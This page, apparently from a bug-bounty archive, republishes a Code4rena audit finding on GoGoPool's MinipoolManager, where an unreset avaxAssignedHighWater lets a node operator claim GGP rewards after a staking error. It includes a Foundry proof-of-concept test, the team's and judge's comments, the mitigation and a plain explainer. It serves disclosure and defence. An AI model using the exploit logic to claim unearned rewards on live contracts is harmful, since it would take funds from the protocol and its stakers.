Skip to content
Business logic Audit finding Intermediate

NodeOp can get rewards even if there was an error in registering the node as a validator

The MinipoolManager contract allows a minipool to transition from Staking to Error state, and recordStakingError does not reset avaxAssignedHighWater. A node operator could therefore withdraw their funds and still be eligible for GGP rewards despite the minipool having an error.

0xbepresent Follow with datapunk, hansfriese and 3 others

Originally disclosed on Code4rena

Submitted by 0xbepresent, also found by datapunk, hansfriese, 0xbepresent, cccz, and cozzetti

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L56 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L89

The documentation says that the NodeOps could be elegible for GGP rewards if they have a valid minipool. The problem is that if the MiniPool has an error while registering the node as a validator, the NodeOp can get rewards even if the minipool had an error.

When the Rialto calls recordStakingError() function the AssignedHighWater is not reseted. So the malicious NodeOp (staker) can create pools which will have an error in the registration and get rewards from the protocol.

Proof of Concept

I created a test in ClaimNodeOp.t.sol:

  1. NodeOp1 creates minipool
  2. Rialto calls claimAndInitiateStaking, recordStakingStart and recordStakingError()
  3. NodeOp1 withdraw his funds from minipool
  4. NodeOp1 can get rewards even if there was an error with the node registration as validator.
function testRecordStakingErrorCanGetRewards() public {
    // NodeOp can get rewards even if there was an error in registering the node as a validator
    // 1. NodeOp1 creates minipool
    // 2. Rialot/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError
    // 3. NodeOp1 withdraw his funds from minipool
    // 4. NodeOp1 can get rewards even if there was an error with the node registration as validator.
    address nodeOp1 = getActorWithTokens("nodeOp1", MAX_AMT, MAX_AMT);
    uint256 duration = 2 weeks;
    uint256 depositAmt = 1000 ether;
    uint256 avaxAssignmentRequest = 1000 ether;
    skip(dao.getRewardsCycleSeconds());
    rewardsPool.startRewardsCycle();
    //
    // 1. NodeOp1 creates minipool
    //
    vm.startPrank(nodeOp1);
    ggp.approve(address(staking), MAX_AMT);
    staking.stakeGGP(200 ether);
    MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
    vm.stopPrank();
    address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    vm.prank(liqStaker1);
    ggAVAX.depositAVAX{value: MAX_AMT}();
    //
    // 2. Rialto/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError
    //
    vm.prank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
    bytes32 txID = keccak256("txid");
    vm.prank(address(rialto));
    minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
    bytes32 errorCode = "INVALID_NODEID";
    int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID);
    skip(2 weeks);
    vm.prank(address(rialto));
    minipoolMgr.recordStakingError{value: depositAmt + avaxAssignmentRequest}(mp1.nodeID, errorCode);
    assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
    MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex);
    assertEq(mp1Updated.avaxTotalRewardAmt, 0);
    assertEq(mp1Updated.errorCode, errorCode);
    assertEq(mp1Updated.avaxNodeOpRewardAmt, 0);
    assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0);
    assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0);
    assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0);
    // The highwater doesnt get reset in this case
    assertEq(staking.getAVAXAssignedHighWater(mp1Updated.owner), depositAmt);
    //
    // 3. NodeOp1 withdraw his funds from the minipool
    //
    vm.startPrank(nodeOp1);
    uint256 priorBalance_nodeOp = nodeOp1.balance;
    minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
    assertEq((nodeOp1.balance - priorBalance_nodeOp), depositAmt);
    vm.stopPrank();
    //
    // 4. NodeOp1 can get rewards even if there was an error with the node registration as validator.
    //
    skip(2629756);
    vm.startPrank(address(rialto));
    assertTrue(nopClaim.isEligible(nodeOp1)); //<- The NodeOp1 is eligible for rewards
    nopClaim.calculateAndDistributeRewards(nodeOp1, 200 ether);
    vm.stopPrank();
    assertGt(staking.getGGPRewards(nodeOp1), 0);
    vm.startPrank(address(nodeOp1));
    nopClaim.claimAndRestake(staking.getGGPRewards(nodeOp1)); //<- Claim nodeOp1 rewards
    vm.stopPrank();
}

Tools used

Foundry/VsCode

Recommended Mitigation Steps

The MinipoolManager.sol::recordStakingError() function should reset the Assigned high water staking.resetAVAXAssignedHighWater(stakerAddr); so the user can not claim rewards for a minipool with errors.

emersoncloud (GoGoPool) commented:

Good find. This is unique in terms of calling out avaxAssignedHighWater but I’m going to link other issues dealing with recordStakingError

https://github.com/code-423n4/2022-12-gogopool-findings/issues/819

emersoncloud (GoGoPool) disagreed with severity and commented:

Since this is not a leak of funds in the protocol but GGP rewards instead, I think a medium designation is more appropriate

0xju1ie (GoGoPool) commented:

So the warden is incorrect about the order of events that should happen, the correct order is the following:

  1. NodeOp1 creates minipool
  2. Rialto calls claimAndInitiateStaking()
  3. Rialto calls recordStakingStart() if the staking with avalanche was successful. If it was not, Rialto will call recordStakingError(). So Rialto will never be calling both of these functions, it is one or the other.

avaxAssignedHighWater is only changed in recordStakingStart(), so not sure we would want to reset it in recordStakingError().

Questioning the validity of the issue.

emersoncloud (GoGoPool) commented:

The key issue is that a minipool won’t ever go from Staking to Error state. It’s currently allowed in our state machine but it’s not a situation that can happen on the Avalanche network and something we’ll fix. In that way it depends on Rialto making a mistake to transition the minipool from staking to error.

I think pointing out the issue in our state machine is valid and QA level.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

The Warden has highlighted an issue with the FSM of the system.

While Rialto is assumed as a perfect actor, the code allows calling recordStakingStart and then recordStakingError.

This state transition is legal, however will cause issues, such as setting avaxAssignedHighWater to a higher value than intended, which could allow the staker to be entitled to rewards.

Because the State Transition will not happen in reality (per the Scope Requirements), am downgrading the finding to Medium Severity and believe the State Transition Check should be added to offer operators and end users a higher degree of on-chain guarantees.

emersoncloud (GoGoPool) mitigated:

Remove the state transition from Staking to Error: multisig-labs/gogopool#28

Status: Mitigation confirmed by RaymondFam and hansfriese.


The original report as published on Code4rena, by 0xbepresent. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the state machine allows a minipool to move from Staking to Error, and the recordStakingError function does not reset the avaxAssignedHighWater value.

Impact

A node operator could receive GGP rewards for a minipool that had an error, but this requires Rialto to make a state transition that is not expected in reality.

What the attacker needed

Rialto calls recordStakingStart then recordStakingError; NodeOp has a minipool

The fix

The state transition from Staking to Error should be removed, as was done in the mitigation.

How it was found

  1. NodeOp1 creates a minipool.
  2. Rialto calls claimAndInitiateStaking, recordStakingStart, and recordStakingError.
  3. NodeOp1 withdraws their funds from the minipool.
  4. NodeOp1 is still eligible for rewards and can claim them.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this staking protocol, node operators can earn rewards if they run a valid minipool. The code tracks a value called avaxAssignedHighWater to decide reward eligibility. If a minipool fails during registration, that value is not cleared, so the operator can still claim rewards even though the minipool did not work.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xbepresent

View all

13 more disclosed reports, best first.

More from GoGoPool contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.